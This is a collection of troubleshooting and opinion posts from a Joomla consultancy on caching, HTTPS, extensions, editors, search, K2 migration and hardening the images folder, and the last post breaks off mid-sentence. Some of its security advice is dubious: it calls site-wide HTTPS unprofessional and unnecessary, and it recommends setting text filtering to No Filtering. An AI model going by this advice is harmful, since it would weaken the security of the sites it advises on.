    Caching can be fully disabled in any browser nowadays. For example, in Firefox, if you want to disable caching, then you will need to click on the Firefox button on the very top left of the page, and then click on Options, and then click on Advanced and then on the Network tab, and then check the box next to Override automatic cache management, and finally set the value next to Limit Cache to 0 (this means that Firefox won’t have any disk-space for caching). There’s a couple of disadvantages associated with this method : 1) It is a bit complicated to disable caching on some browsers (especially Google Chrome) and 2) it’ll slow down browsing on all websites, because nothing will be cached, and everything will have to be re-retrieved on each visit to any page on any website! Note that this method, similar to the above one, is only practical when your visitors are few and are known (e.g. you are running an Intranet).

  3. Instruct the browser to always check for the latest version of your files using Apache directives

    Let’s face it, the first two solutions that we offered are only practical in a closed scenario (e.g. a website that is only used by a few known people), these solutions don’t apply to real websites with real traffic. So what can be done if you’re running a website that has tens of thousands of visitors every day? You can’t just tell them to clear or disable their cache, can you?

    Fortunately, there is a solution, and it is to instruct their browsers to always load the latest version. This can be done by adding the following line to the very beginning of your .htaccess file (the .htaccess file is located under the root directory of your website):

    <IfModule mod_headers.c>
    	<FilesMatch "(?i)^.*\.(css|htm|html|gif|jpg|jpeg|js|png|pdf)$">
    		Header set Cache-Control "max-age=0,must-revalidate"
    	</FilesMatch>
    </IfModule>

    The above method is ideal – it tells the browser to always check for the latest version of CSS files, images, JavaScript files, and Adobe Acrobat files. If the latest version (e.g. the version on the server) is different for any file matching the above, then the browser will retrieve that file from the server and it’ll refresh its (the browser’s) cache.

    Now, we know that technically we are not completely disabling browser caching with this method, but, if you give it a deeper thought, you will know that you are getting the best of both worlds. Users will only load files from your server if these files were changed – which is exactly what you want under normal circumstances. However, if you really want to completely disable browser caching (maybe for security reasons), then you will need to add the below code (instead of the one above) to the beginning of your .htaccess file:

    <IfModule mod_headers.c>
    	<FilesMatch "(?i)^.*\.(css|htm|html|gif|jpg|jpeg|js|png|pdf)$">
    		Header set Cache-Control "no-cache, no-store"
    	</FilesMatch>
    </IfModule>

    The above ensures that the browser doesn’t cache anything from your website and that the browser gets the CSS files, images, JS files, and PDF files from your server even if nothing has changed from the last visit.

  4. Add HTML meta tags to your index.php file

    If you don’t have access to the .htaccess file or if you’re afraid of modifying it, then you can just add the following meta tags immediately after the <jdoc:include type=”head” /> line in your index.php file:

    <meta http-equiv="cache-control" content="no-store">
    <meta http-equiv="pragma" content="no-cache">

    Technically, they’ll have the same effect as the above. The thing is, some users are behind a proxy, and some proxies don’t respect HTML meta tags and cache your files anyway – which means that these users will still see the old cached images (from the proxy) even if these meta tags are there.

  5. Append a dummy GET variable with a dynamic value to the name of the files

    If the above methods did no work for you (for some reason), then a guaranteed solution is to append a dummy GET variable to the name of every file you have on a page (be it an image file or anything else). The value of that dummy variable must change with each page load. This tricks the browser into thinking that it’s loading another file, since, from its perspective (the browser’s perspective), this…

    <img src="/images/stories/logo.jpg">

    … is different than:

    <img src="/images/stories/logo.jpg?v=1">

    and this…

    <img src="/images/stories/logo.jpg?v=1">

    is different than:

    <img src="/images/stories/logo.jpg?v=2">

    Of course, this method has to be done through a plugin (unless you have someone who is fast enough and patient enough to go through all your files and your database and change the v number every time someone visits your website – that was a joke!). This plugin must dynamically change the content of the served page to include a new v variable on every page load.

    This method works very well, but the downside of it is that it can create a huge load on the server. If you have a very large website, then it’s best to stick with the 3rd method above.

If you want to completely disable browser caching on your Joomla website, and none of the above methods worked for you for some reason, or if you need help with their implementation, then please contact us and we’ll be more than happy to help you. We won’t charge you much and we promise that we’ll give you a fully working solution.

Joomla’s Official Documentation Should Be Better!

Every once in a while we get a unique project – a project that requires us to dig into every hidden feature in Joomla to know how we can execute it the “clean” way, without making core modifications and without creating tons and tons of code that could’ve been saved if we just used one of Joomla’s not-so-well-documented built-in classes. Sometimes – this process takes a full day – and it’s all because Joomla is not properly documented…

There are many hidden features in Joomla – too many to be called “Easter Eggs” – that can be helpful in the implementation of challenging Joomla projects. Unfortunately, these hidden features are so hidden they are not even documented – not even on Joomla’s official site. If you’re not convinced, then do a small search on Google on “how to cache a custom Joomla module”… We’re sure that it’ll take you at least an hour to find out how – and that’s because this feature that is extremely used by Joomla developers is not documented at all. (In case you really want to know how, then you will need to create a field named cache in the module’s manifest [XML] file. The cache field should be of type list and it should have a value of 0 [no caching] or 1 [use global configuration]).

The examples supporting our point are countless. For instance: how can you allow the user to change the layout of a custom Joomla module, how can you find a Joomla article by ID, etc…

Another problem with the documentation is that it seems that its momentum has been lost since Joomla 1.5. That’s why you see many Joomla features documented in Joomla 1.5 instead of Joomla 2.5. Some features even have “Joomla 1.5 screenshots that also apply to Joomla 2.5”. We don’t like to be judgmental, but we think this is lame!

It’s lame because it gives Joomla developers (and administrators) the impression that Joomla is no longer properly maintained – it is no longer properly cared for – which means, at one point, it will wither and die. We all know that this is not the case: Joomla is probably the most maintained CMS (from a technical perspective) on the planet! But everyone judges a book by its cover – and documentation is the cover!

Another issue with the documentation is that it’s not organized and it’s not intuitive to browse. One would expect to have every functionality described for every type of extension (for example, the Custom HTML module) from the outside (if the person is a normal user) and from the inside (if the person is a developer looking to extend its functionality) – but this is not the case. Instead, the homepage of Joomla’s documentation is a messed page that is highly confusing. Also, clicking anywhere would certainly lead somewhere else that has a high density of red links (e.g. links that are not linked anywhere – or “suggested topics”).

The final, and most important issue we notice in Joomla’s documentation is the questionable accuracy. Some guides are written by experts (we know that for a fact), while some other guides are written by Joomla enthusiasts that have started using Joomla for a year or two and think they possess the sufficient knowledge to write guides about it. Such guides are typically badly written (we’re talking about really bad usage of English grammar here), inaccurate, don’t make full use of Joomla’s power, and, in most cases, will only work under certain conditions. What makes things worse is that one cannot comment on these guides and warn others, which means that everyone reading these erroneous guides will fall in the same trap. Not good!

So, what’s the solution?

Well, we think that Joomla needs to implement the following substantial changes in its documentation:

  • Allow for moderated commenting on Joomla’s guides – especially on those guides written by enthusiasts. The PHP website is a great example that must be followed.
  • Review (moving forward) all guides submitted to Joomla for accuracy.

  • Make the search feature (on the documentation portal) fuzzy. In other words, if we search for “How to create a user in Joomla using PHP?” we get a relevant result. This is a very ambitious feature but it can be done.

  • Allow 3rd party companies to easily contribute to Joomla’s documentation. These 3rd party companies (that include us) want to see a thriving, prosperous Joomla and will do anything to keep it that way!

  • Get some UX experts to ensure a smooth navigation on the documentation portal.

  • Ensure that the documentation is always up-to-date.

OK – we know that what we’re proposing is a bit ambitious, but it’s necessary to the long term survivability of Joomla. If things are left the way they are right now for a couple of years, then we’ll end up with a completely inconsistent, incoherent, and wrong documentation and then people will really start migrating from Joomla to other Content Management Systems (the alternatives are not that great at the moment by the way, but nobody knows what can happen in a few years).

Yes – this post is a bit on the harsh side – but someone had to write something about this. The frustration that the documentation is causing to anyone using Joomla (whether an administrator, a designer, or a developer) is growing by the day. This needs to be stopped…

Now, if you want to implement something in Joomla but you can’t find the necessary documentation to do that, then please contact us. We’ll do it for you in no time, we’ll explain to you how we did it, and we won’t charge you much.

Browser Tries to Download source_editor.htm When Clicking on the HTML Button in TinyMCE

While working on a Swiss website today, we noticed that every time we clicked on the HTML button in TinymCE, the browser tried to download source_editor.htm (which is a TinyMCE file). At first, we thought that there was a problem with the browser, so we tried another one but we had the exact same problem. Odd…

We then thought since that website was hacked (that’s why we were working on it), it might be that there is this tiny little malicious JavaScript hidden somewhere that is causing this issue, so we cleaned up the website completely, and we checked again, still, the same problem.

Then we thought, what if it was a problem with the hosting environment? What if Apache doesn’t recognize htm files as HTML files? So, we created a small htm file (we called it test.htm), and we uploaded it to the root directory of the website. We then pointed our browser to that file by going to http://ourclientjoomlawebsite.com/test.hm, and true enough, the file was downloaded instead of begin displayed.

So, what did we do to fix the problem?

Fixing the problem was easy, we only needed to add the following line to the beginning of the .htacces file which is located under the root directory of the website:

AddType text/html .html .htm

The above line essentially instructs Apache to treat htm files as html files.

But, why did the problem happen in the first place?

The server our client was on was a very old Plesk server with extremely basic settings – so basic that Apache wasn’t even set to recognize htm files by default. We were amazed that our client was the first one on that server who encountered the issue – but then again, that company didn’t have many clients.

In our opinion, if you encounter this problem, then it’s a sign that the hosting company you’re dealing with cannot be labeled as professional and that it’s a good idea to start shopping around!

Are there other reasons for this problem can happen?

Yes – this can also happen because of erroneous (intentional or unintentional) modifications to TinyMCE‘s core. In this case, the best solution to this problem is to re-install TinyMCE from scratch. Re-installation of TinyMCE is extremely tricky, especially if you’re using an old version of Joomla and/or an old version of TinyMCE – in that case, we recommend you contact some professionals to do the work for you.

Another reason where this problem can happen is because of wrong entries in the .htaccess file. If you see that your .htaccess file contains some quirky entries, then backup the file (in case you want to revert back) and remove them immediately, and finally re-test the website to see if the problem is still there.

We hope that our post was helpful for those facing the same problem… But, if you have read this post but you haven’t found it useful (e.g. it didn’t fix your problem), then don’t be shy; just contact us and we’ll fix the problem for you in no time and for a very affordable fee! Go ahead, give us a call or shoot us an email – we are there for you 24/7/365!

Making Your Whole Joomla Website Run HTTPS Mode Is Unprofessional

Now, don’t get us wrong, we are totally pro website security. In fact, we have written so much on Joomla security to prove that. However, we think that sometimes security is applied to the wrong place. An example of this is running a whole Joomla website in HTTPS mode.

For those who don’t know, HTTPS ensures that any request sent and received from the website is encrypted to avoid digital eavesdropping, which is a great idea when the person is doing something important, like logging to a backend or doing activities in that backend. Other than that, it’s just unnecessary.

The problem is, there are many Joomla websites out there that have HTTPS enabled across the board, either because of a common misconception that websites would be more secure with HTTPS (which is not true, as HTTPS is never about website security, but about the security/secrecy of the transmitted data) or because administrators want to enable HTTPS mode in the backend, but are enabling it globally to avoid issues (such as this one).

Whatever the reason is, we think it’s unprofessional to run an entire Joomla website in secure mode – it just means that the administrator knows nothing about security or knows a bit about security but doesn’t know how to implement his knowledge properly. If you’re one of those administrators, then fear not, we can help! Just contact us and we’ll fix the problem for you in no time and at a very affordable cost.

The Number of Installed Extensions on Your Joomla Website Is Inversely Proportional to Its Security

We know – that’s a very long title for a post, but we couldn’t think of a better title that would explain what this post is about. In any case…

We got an email near the end of the day yesterday from a new client – he was complaining that his website, although running Joomla 2.5, was hacked. We checked his website and he had nearly 20 3rd party components installed, around 70 3rd party modules, and over a 100 3rd party plugins. He also had 5 templates (yes – 5) that were serving his website. We told him that he has a very large number of 3rd party extensions installed, and that the number of 3rd party extensions is inversely proportional to the security of a Joomla website.

Huh? He said…

So, we explained more. We told him that there’s an average of 10% chance for any extension to have an exploit – and we’re talking about good extensions here. Bad extensions score a much higher average for exploitability (is that a word?), but, on the other hand, they are often less targeted since hackers usually target widely used extensions for maximum damage. This essentially means that the more (reputable or non-reputable) extensions you have, the more vulnerable your Joomla website is…

So, what can you do if you have many installed extensions on your Joomla website?

Well, there are a few things that need to be done to address this problem:

  • Uninstall unneeded extensions.

    We doubt that many websites out there actually need/use 70+ modules. So, you need to go through each and every extension and check if it’s used or not, and whether its use is necessary or not. If the answer is no to any of the previous questions, then it should be uninstalled.

  • Ensure that all your extensions are up-to-date.

    Once you have remove all the unneeded extensions, then you will need to upgrade all your extensions to the latest version. Doing so will increase your protection against attacks exploiting vulnerabilities in old versions of your extensions.

  • Ask some Joomla security experts to review your website.

    Joomla security experts are there for a reason – to make sure that your Joomla website is safe and resilient to most malicious attacks. Asking them for help usually saves you a lot of time and money on the long run.

By following the above tips, you will certainly have a faster and a safer Joomla website. If you need help with implementing these tips, then feel free to contact us. We immediately answer emails and we always answer the phone (usually from the first couple of rings), we are very friendly, and our rates are very affordable. What more could you want?

Your Joomla Website Is Really, Really Slow? Maybe It’s an Extension!

One of the companies that we regularly do work for complained about a sudden slowness issue with their Joomla website. They said that their Joomla websites was taking about half a minute to load. So, we tested the website, and it was taking exactly 30 seconds to load – and that was on each attempt. That was odd!

We immediately thought that the website was hacked (since extreme slowness is a sign of a compromised website) but it wasn’t. The website was perferctly clean. We then thought, it might be a firewall issue, which made perfect sense since wrong firewall settings can cause this behavior. But it was not! The website was slow even from within the company’s network (their data center was on-premise).

So, we disabled all the plugins and the modules (yes – we followed our good old and reliable Joomla debugging technique), and we discovered it was one of the modules that was causing all this issue. In fact, that module was using curl to retrieve some information from a 3rd party website. Since that other website blocked all automated requests above a certain daily limit, the script was timing out in 30 seconds. So, why the 30 seconds, you might ask? It’s because the script had the following code:

curl_setopt($ch, CURLOPT_TIMEOUT, 30);

To fix the problem, we had one of 3 options:

  • Contact the 3rd party website and ask them to whitelist our client’s IP, which is something that we did, but unfortunately, that 3rd party website was a government website with rigid procedures (which is very normal).
  • Disable the module, which was out of the question because the company used that module to display some critical and up-to-date information to its clients.

  • Implement a caching system. In other words, send just one request every hour, and cache the results of that request, and, whenever the module has to be displayed, we retrieve the information from the local cache and not through curl.

The latter solution was the best, so we implemented it. We also created a cron job to retrieve the information every hour and store it in the cache. This has ensured that there would be no scenario where a page would hang on a visitor waiting to load some data from a 3rd party website.

As a rule of thumb, never use curl inside any of your Joomla extensions, since a curl call immediately makes your website (or at least part of your website) dependent on a 3rd party website that may or may not block your request, and that may or may not exist in a few months.

If your website is really slow and you suspect it’s one of your extensions, then we can fix the problem for you. All you need to do is to contact us and we’ll implement a professional for you in no time and for a very small fee.

JCE Editor Strips Away IFrame Code

If you’re using JCE (which is, by far, the best rich text editor in Joomla) you might have run into an issue where, when you insert an iframe into the body of the article and then you click on “Save”, the iframe disappears.

In fact, this is default behavior so nearly everyone who’s using JCE and who has tried to insert an iframe ran into the above issue. This issue became even more problematic ever since YouTube changed their default embed code from flash to HTML5 (which uses an iframe). So, to address the YouTube embed problem with JCE, people use the old embed method instead, which means that their YouTube videos will not work on iPhones. Not a good option!

Now, what many people don’t know is that there is a setting in JCE that explicitly tells the editor to strip away all iframe tags for security reasons. So, in order to allow iframes in your JCE editor, you will need to do the following:

  • Login to the Joomla backend of your website.
  • Go to Components -> JCE Editor -> Profiles.
  • Click on Default (just above “Default profile for all users” – we are assuming that you are using the default profile).
  • Click on the Plugin Parameter tab.
  • Click on Media Support on the right panel.
  • Under Standard Parameters, choose “Yes” for Allow IFrames.
  • Click on Save on the top right.
  • Click on the Features & Layout tab.
  • Scroll down to the bottom of the page, and ensure that the checkbox next to Media Support under Additional Features is checked. If it’s not checked, then check it and then click on Save at the top right. Usually it’s checked by default, but you never know.
  • That’s it!.

You should now be able to freely add an iframe tag in JCE editor. Now, if you’re still having issues, then it might be that there is another problem elsewhere:

  • While still in Joomla’s backend, go to Site -> Global Configuration.
  • Click on Text Filters tab.
  • Ensure that the user that has a problem with the iframe has its user group’s Filter Type set to No Filtering. For example, if the user belongs to the Manager user group, then you need to set his Filter Type to No Filtering.
  • Click on Save on the top.

If that still didn’t solve the problem, then you will need to ask for Joomla professional help. Just contact us and we’ll solve the problem for you in as little time and as little cost as possible.

A Simple Joomla Module to Display a Fancybox Popup

At itoctopus, we always provide solutions. But the solutions that we are really proud of are the simple solutions, the solutions that don’t involve a lot of work to implement, the solutions that are clear and that actually work!

Today, we are proud to announce that we have created a Joomla 2.5 module that will be used to display a FancyBox iframe on any Joomla page. That iframe can be a page on your Joomla website or it can be an external page.

The reason why we have developed this solution is that we have searched everywhere for a working solution that didn’t conflict with Joomla, but we found none. Nearly every so-called solution didn’t work right out of the box.

So, without further delay, you can download the module from here.

Quick notes:

  • The settings in the module are very obvious and you shouldn’t have a problem making it work. If you do, please contact us. Note that we charge money for our services, even if the module was released for free use.
  • If you set the “Cookie Lifetime (in days)” to 0 then the popup will always appear. Usually this is not the desired behavior, but if you want it, it can be done.

  • We can modify the module for you to work only under certain conditions – for example, if you want it to only work for non-registered users.

  • The module has FancyBox and jquery.cookie.js embedded. No need to download and install them.

  • The module can display pages from your own website, but we suggest you create a completely blank template to assign to those pages before displaying them in a popup. If you don’t have one, then we have one ourselves. You can download it from here.

We hope that our module works for you – if it doesn’t or if you need some alterations, then please contact us. Again, note that our very affordable fees apply.

Search in Joomla Returns Only 50 Results

If you perform a search on your regular Joomla website, you will notice that the search results will only display a maximum of 50 matches, even though you might have more. So, why is that and how to fix it?

To answer the “why” part of the question, Joomla is a heavy CMS, and, obviously, its developers know that. That’s why they put a default limit of 50 on search results, so that the search results page won’t run out of memory and/or won’t timeout on large websites with more than 10k articles.

Fixing the problem is extremely simple, and can be done the following way:

  • Login to the backend of your Joomla website.
  • Go to “Extensions” -> Plugin Manager.

  • Type in “Search – Content” next to filter and press the Enter key.

  • Click on the Search – Content plugin (it should be the first match).

  • Under basic options on the top right, change the value of Search Limit from 50 to the number of your choice. Note that a high number can cause performance/timeout issues on your website, so be careful.

  • Click on Save on the top right. That’s it!.

We highly recommend that you test the search functionality on your Joomla website after changing the above value and to see if the search has become slow. If this is the case, then try with a lower number until the search speed becomes acceptable.

There are ways to substantially optimize Joomla’s search functionality but they require some changes in its core. If you really want to go this way, then what you need to do is to modify the search query in such a way that it only returns the IDs of the rows matching your search criteria, and then, in your view, you will need to run a query for each and every item displayed to get the rest of the information. This ensures that a huge search won’t inundate your server’s memory with unnecessary information (such as the title, the introtext, the author’s information, the published date, etc…) about rows that are not displayed on the served page.

You can also speed up the search by eliminating unnecessary joins from the query (again, this requires modifications in Joomla’s core).

The last part of this post is highly technical, and if you need help implementing it, then please contact us. We have enhanced Joomla’s search functionality on many sites so far and we can definitely do the same with yours. Our fees are affordable, our work is professional, and we are the most reliable developers on this planet. Oh, and we are extremely friendly too!

K2 Category Settings Disappear After Save on a Joomla Migrated Website

We love K2 (we actually said that before) and we think that it’s a better content manager than Joomla’s own content manager. In fact, we are increasingly helping companies migrating the content of their Joomla websites from Joomla to K2.

However, there are always little issues with K2, which is perfectly acceptable considering its huge functionality and the relatively small team behind it. However, some of these issues are quite annoying. One critical problem with K2 is that although the category settings are preserved when migrating a Joomla website from 1.5 to 2.5, they are lost on first save. Let us explain more…

Let’s assume you have just migrated your K2 powered Joomla website from 1.5 to 2.5. The K2 extension content migration is extremely simple and all you need to do is to export the old K2 tables through phpMyAdmin and import them (also through phpMyAdmin) to your new website. Everything will work as it should (provided you set the access field in both the #__k2_categories and the #__k2_items tables to “1” after migration – if not you will definitely experience what’s described here), your items and categories will appear as they should since all the settings will be ported.

But, say you open a K2 category for editing, and then you save it, then all your previous settings for that category will be lost. This is because the K2 administrator in Joomla 2.5 assumes that the category settings are stored (in the database) in a way that is different from how they were stored in Joomla 1.5. This is a very serious problem if you have many categories and many articles with altered settings!

So, how can this problem be solved?

Well, there are four options to solve this problem:

  1. You re-create the settings in Joomla 2.5, while taking advantage of the settings inheritance feature of K2 in case you have many categories with the same settings. This works well if you just have a few categories with user-set settings.
  2. You modify the K2 template to ensure that the look & feel is consistent regardless of the category settings you have stored in the database. However, there are four drawbacks to this method:

    1. It is only good when the settings for all the categories is the same.
    2. It requires programming skills to be implemented.

    3. Changing any category’s settings from K2’s backend in Joomla will no longer work. This means that every time you need to make a change, you will need to do it in the template itself.

    4. If you change your K2 template, then your layout settings will not be ported, and you have to re-create them in the new template.

  3. You can ask some Joomla consultants (such as us!) to migrate your settings to Joomla 2.5 so that you won’t have the problem at all. This option will cost you money but it’s definitely the ideal solution.

If you need help with implementing any of the options above, then please contact us. We are always here to help (24/7/365 or 366, if it’s a leap year!), we know exactly how to fix your problem, our fees are affordable, and we are very, very friendly!

Quick Joomla Security Tip: Disable PHP Execution in the Images Folder

We have been securing/cleaning Joomla websites for so long that we have identified the three-step process a malicious attacker performs to hack a Joomla website:

  1. The attacker injects a PHP file in the images directory.
  2. The attacker then replicates the PHP script into other directories where it’s under the radar. This strategy ensures that the attacker maintains access to the Joomla website even if the main PHP script uploaded to the images directory is deleted. The attacker usually replicates the PHP script simply by executing it with specific parameters.

  3. The attacker then executes the PHP script or one of its clones with different parameters. This script execution results in at least one of the following:

    • Permission changes in core files.
    • Code change in core files. Such code change includes, but is not limited to:

      • Malicious lines in the .htaccess file often resulting in Google seeing the website as spammy.
      • Changes to the application.php or framework.php files, mainly adding some malicious content from a remote website, thus infecting your visitors’ machines with malware and slowing down your whole website.

      • Changes to core JS files essentially doing the same as above.

    • Sending spam – either directly from the uploaded file or after creating a not-so-easy to find file somewhere on your machine and using it to send spam.

    • Reading critical information from the configuration file (such as the database host, name, username, and password).

    • Manipulating your data or wiping out your whole database.

    • Wiping out your whole website – especially if you have very loose permissions on your Joomla website.

The above is a standard process, and there are certainly many variations, but a common step is, in 90% of the cases, the first step. Once an attacker is able to upload and execute a PHP file onto your website, then he’s already in control.

Now, of course, the heart of the problem is how-oh-how was the attacker able to upload that PHP file in the first place. Was it a Joomla vulnerability issue? Was it a loosely secured extension? Was it an exploitable text editor? Was it something else?

The reasons may be many – but the result is the same, the website will become compromised! But… What if we could disable PHP execution in the images directory, wouldn’t that stop this vicious change of events?

The answer is yes!

Disabling PHP execution in the images directory will mean that even if someone sneaked a PHP file to your images directory, it won’t be executed. In fact, when the attacker tries to execute the malicious script, he will only see the code. Nothing will happen!

So, how to disable PHP execution?

Well, it’s simple. In fact – it’s very simple! Here’s what needs to be done:

  • If your Joomla website runs under Plesk:
    • Create an .htaccess file with the following content:

      php_flag engine off
      AddType text/plain .php
      AddType text/plain .php5
      RemoveHandler .php

    • Upload the above .htaccess file to the images directory.

    • Change the permissions of the .htaccess file to 444.

  • If your Joomla website runs under WHM/cPanel

    • Create an .htaccess file with the following content:

      RemoveType .php

    • Upload the above .htaccess file to the images directory and change its permissions to 444 as nobody needs to write to it.

    • That’s it!

If everybody applies the above tip, then there would be a huge reduction in the number of hacked Joomla websites, but, unfortunately, many Joomla administrators think that their websites are immune or are just intimidated to do the above. In case you’re one of the latter, then we understand your fear. Just contact us and we’ll do the above for you in no time and for a very little fee.

Note: It’s an excellent strategy to apply the above method to any folder that Joomla writes to (except those folders where Joomla creates/writes to PHP files).

“Class Datetime Not Found” Error in Joomla

Yesterday (yes – we work on Sundays!), we were moving a Joomla website hosted on a Plesk version 9 server to a Plesk version 11 server – the transfer was pretty smooth, except that when we tested the website on the new server, we got a blank page. Restarting Apache didn’t solve the problem (although it did, on other occasions), and modifying the configuration.php file to change error reporting to maximum still yielded a blank page.

So, we started to debugging Joomla, and, after a while, we were successful in forcing Joomla to spit the actual error. It was this one:

Class ‘DateTime’ not found in /libraries/joomla/utilities/date.php on line 20

Huh?

We know that DateTime is a core PHP class, so how come Joomla can’t find it. So, we checked the documentation of the DateTime class on the php.net website, and it turned out that this function requires a PHP version of at least 5.2. To our surprise, the new server that we were moving to had a PHP version of 5.1.5. We were shocked!

Unfortunately, Plesk only allowed us to upgrade to PHP version 5.3.5 – which was enough to solve the problem, but far from ideal, since the current PHP version (at the time of writing this post) is PHP 5.5.4.

So, if you’re having a blank page issue when moving your Joomla 2.5 website from one server to another, you should do the following:

  • Restart Apache on the target (new) server (it might be that the directory structure is cached).
  • Ensure that you have the minimum PHP version (which is 5.2.4) and MySQL version (which is 5.0.4) required to run Joomla. You can do this check by creating and running a small PHP file that has the following single line code:

    <?php phpinfo(); ?>

    Running the above file will give you all sorts of information about your LAMP environment, including the PHP, MySQL, and Apache version. If you find the information generated by that file overwhelming, then you can replace its content with the below:

    <?php
    	echo("Apache Version Is: ".apache_get_version()."<br />");
    	echo("MySQL Version Is: ".mysqli_get_client_version()."<br />");
    	echo("PHP Version Is: ".phpversion()."<br />");
    ?>

    The above will just return the Apache version, the MySQL version, and the PHP version you have on your server.

Now, if you have done all the above and you’re still getting the same problem (or if you don’t have the technical skills to do what’s written in this post), then fear not. All that you need to do is to contact us! We are always there, we are immediately available, we can solve your problem in no time, and we won’t charge you much!

JComments Captcha Not Working on Refresh

One of our clients called us today and told us that the captcha below JComments comments is not working properly. She said that it works on page load, but once she hits the refresh button below the captcha, the captcha image disappears. Hmmm!

We did a long investigation and we finally discovered that the reason behind this issue was the usual Joomla suspect, sh404SEF – no surprise there! Solving the problem consisted of disabling sh404SEF for the JComments component.

In case you don’t know how to disable sh404SEF for a particular component, then follow this guide:

  • Login to the backend of your Joomla website.
  • Click on Components -> sh404SEF.

  • Click on sh404SEF Configuration.

  • In the popup window, click on By Component.

  • Scroll down until you see jcomments to the left.

  • Change the first column and the fourth column for the jcomments row to Use Joomla! Router and Use Joomla! router.php respectively.

  • That’s it! Now you should no longer have problems with JComments‘ captchas.

Now we know that this solution is not ideal, but it does work. Another solution is to make sh404SEF compatible with JComments (or the other way around) – but this will take a lot of time and may not be worth the effort.

If you’re having the above problem and if you have tried our solution with no avail, then fear not, we’re always here to help. Just contact us and you can rest assured that we’ll solve your problem swiftly, professionally, and for a very reasonable cost.

How to Handle Spelling Mistakes in Joomla’s Search

A company that we deal with runs a very large Joomla website mainly discussing law topics. The company complained that Joomla’s search doesn’t address a very common human issue: spelling mistakes.

For example, if you are trying to search for Lawyer and you searched for Lauyer, then you won’t find anything using Joomla’s search, this is because these are technically two different words. However, it’s obvious that you made a mistake and that you want to search for Lawyer instead of Lauyer.

Another issue that the company was facing is the spelling differences between US English and UK English, for example, when someone from the UK tries to search for the word colour, he won’t find anything, because in the US, it is spelled color. So, how can this be addressed?

Well, there are two ways:

  1. Create an algorithm that will generate all the possible erroneous ways a word can be spelled and then link these misspelled words to the original word.
  2. Use the MySQL built-in SoundEx function to search for all occurrences that sound like a certain word.

Now, unless you work for a very large company and you have access to a lot of user generated data, the first option is out of question. Because simply, you will spend months working on a solution, and you will still miss many misspelled words. Not to mention that this solution can be very, very slow and inefficient.

The second option is much better because it’s simpler and much more efficient. All you need to do is to tell MySQL that you want matches that contain words that sound like your word. So, if you’re searching for the word colour, you’ll get the matches that contain the word color. If you’re searching for Jon Smith, then you’ll get matches containing John Smith. If you make a spelling mistake, then Joomla will be flexible and will return results, despite your errors! Now that’s a good search engine!

So, how does the SoundEx function work?

OK, we have stated that the SoundEx function is the key to the solution, but we haven’t mentioned how it works. In short, and without getting into the details, the function SoundEx returns the phonetic representation of a word. That phonetic representation represents how the word sounds. When two words have the same SoundEx value, then they sound the same. Try the below experiment:

  • Login to phpMyAdmin.
  • Click on any database on the right, and then click on SQL on the top right.

  • Run the following query:

    Select SOUNDEX('itoctopus');

    You will get a value of I32312.

  • Now run the following query:

    Select SOUNDEX('itoctopous');

    (Notice the extra “o”)

    And you will get the same result as above. This means that both words sound the same.

So, how do you add this functionality to Joomla?

Unfortunately, while the concept is easy, putting it into practice is not as easy as one thinks! Here are the steps that will need to be done:

  • Create a plugin that will automatically create an index of all the words (and their SoundEx value) used in an article every time your create a new one.
  • Modify the search plugin (that of content and/or K2 if you’re using K2) the following way: Each time someone enters a query, split that query into words and for each word, search for the word, in your index (which is a database table) that has the same SoundEx value. Finally, re-create the query out of the correctly spelled words in your index and apply the search.

As you can see, the concept of handling spelling mistakes when searching in Joomla is simple but the implementation is definitely challenging. It took us nearly a week to devise, implement, and test the above solution – but it was worth it! Our client was definitely happy and we were thrilled because we felt that we made a critical functionality in Joomla even better!

But, will the above method slow down the Joomla’s search functionality?

The short answer is yes – the not so short answer is that Joomla’s search can always be enhanced. So, the enhancement done on the default search can be used to make up for the slight performance hit caused by this fuzzy search. (Feel free to Google fuzzy search to know exactly what we mean – in fact, this whole post is about implementing fuzzy search in Joomla – but we figured that not so many out there are familiar with the technical term).

If you want to implement the above but you don’t have the necessary resources/expertise/time to do it, then feel free to contact us! Our rates are favorable, our work is professional, we know our Joomla, and we are the friendliest Joomla developers on planet Earth!

“The template for this display is not available.” Error on Joomla

A couple of days ago we were working a skeleton template that is used to display some articles in lightbox popups. The template was very straightforward and had a few lines of code and had only one module position. We created the xml manifest file and then we packaged the template into a zip file and we installed it. Everything worked smoothly. But, when we assigned a menu item to that template (or should it be when we assigned that template to a menu item? Anyway, you get the point), we where greeted with the following error:

The template for this display is not available. Please contact a Site administrator.

…and Joomla’s fallback template was used (the fallback template is Beez 20, for those who don’t know). Hmmm!

We checked our code, and we checked whether the name of the template (in the manifest file) was legitimate (e.g. just alphanumeric characters), we also checked whether the code had any errors, but nothing! Everything was OK – we then checked whether the new template folder was physically created under the templates folder and it was! We even uninstalled and reinstalled the template (note: when we deleted the template we saw this error). Double hmmmm!

So, we checked which file was spitting this error, and we found out that it was the application.php file (located under the includes directory of the Joomla website) at line 492. Here’s this line along with the lines before and after:

if (!file_exists(JPATH_THEMES . '/' . $template->template . '/index.php')) {
	JError::raiseWarning(0, JText::_('JERROR_ALERTNOTEMPLATE'));
	$template->template = 'beez_20';

So… It seems that Joomla is really not able to see the index.php file, so, we browsed to the templates folder, and we checked whether the index.php was actually located under the skeleton‘s template folder, and, to our surprise, it wasn’t: we forgot to include the index.php in the manifest file! Simply uploading the index.php to that template’s directory solved the problem! Yes – we know it’s a bit silly for Joomla experts to make this mistake, but we’re only human, after all!

Are there any other reasons that can cause this problem?

There are two other reasons that can cause this problem:

  1. Using non-alphanumeric characters to name your template (remember, the folder name of the template will be the same as the template name – so, using characters that are illegal in folder names might cause this problem. Sticking with alphanumeric characters is a best practice).
  2. Installing the template through unconventional means resulting in Joomla not having the necessary file permissions to access the index.php file.

If you are having the problem and you’re still having some hard time solving it even after reading the above guide, then fear not – we’re here to help. All you need to do is to contact us and you can rest assured that we can solve your problem in no time and at a very affordable cost!

Internal Server Error When Trying to Upload Files with Quotes Through Joomla’s Media Manager

About a week ago, one of our clients was seeing an Internal Server Error when he was trying to upload an image with a quote through the media manager. That was weird, we thought… So, we changed error reporting to maximum and we still saw the same, ambiguous, Internal Server Error – clearly something that was application-independent and consequently server-related was causing this problem. So we thought there was only one way to know what the error was: we needed to check Apache’s error logs.

Since our client was using WHM, the Apache error log file was called error_log and was located under the /usr/local/apache/logs directory. So we browsed to that directory and opened the error_log file, only to see the following error:

